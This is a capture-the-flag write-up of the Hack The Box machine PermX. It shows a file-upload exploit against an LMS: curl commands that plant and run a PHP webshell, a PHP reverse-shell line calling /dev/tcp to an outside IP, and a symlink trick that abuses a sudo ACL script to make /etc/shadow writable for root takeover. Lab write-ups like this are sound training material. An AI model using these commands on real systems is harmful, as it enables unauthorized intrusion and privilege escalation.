Post

HTB Linux Easy: PermX

PermX is an Easy rated Linux machine on HTB.

HTB Linux Easy: PermX

Nmap Scan

Pasted image 20240715112814.png

Enumerate HTTP (Port 80)

Perform directory busting using Gobuster. Pasted image 20240715112809.png

Ffuf subdomain enumeration result. Pasted image 20240715112801.png

Enumerating Subdomain (lms.permx.htb)

Main login page. Pasted image 20240715112756.png

Found robots.txt. Pasted image 20240715112751.png

In the /documentation/ subdirectory we discover that the version running is 1.11. Pasted image 20240715112743.png

Found CVE: https://starlabs.sg/advisories/23/23-4220/

Verify the existence of BigUpload in the application: Pasted image 20240715112736.png

Gain RCE:

1
2
3
4
5
$ echo '<?php system("id"); ?>' > rce.php
$ curl -F 'bigUploadFile=@rce.php' '<http://lms.permx.htb/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported>'
The file has successfully been uploaded.
$ curl '<http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/rce.php>'
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Shell as www-data:

1
<?php system("bash -c 'bash -i >& /dev/tcp/10.10.15.32/443 0>&1'"); ?>

Lateral movement

Found DB credentials. Pasted image 20240715112730.png

Use the DB credentials to SSH as the mtz user (found in home directory). Pasted image 20240715112724.png

User.txt: 863fa15050c164ae334f008b2b4f70e8 Pasted image 20240715112720.png

Privilege Escalation

Sudo -l output. Pasted image 20240715112712.png

The script in question allows us to modify permissions on files: Link. Pasted image 20240715112702.png

However the content must be in the mtz’s home directory, to bypass this we can create a symlink:

1
ln -s / symlink

We can now invoke the script and change the permissions on the shadow file for the root user, this way we can switch to the root user using our own specified password.

1
sudo /opt/acl.sh mtz rwx /home/mtz/symlink/etc/shadow

Generate the password (root): Pasted image 20240715112655.png

Update the shadow file with the hash and change to the root user using the root password: Pasted image 20240715112650.png

Root.txt: 9644db72db3b3c64a3b580ba2e47b6ca Pasted image 20240715112646.png

PWNED!!!

Pasted image 20240715112641.png

This post is licensed under CC BY 4.0 by the author.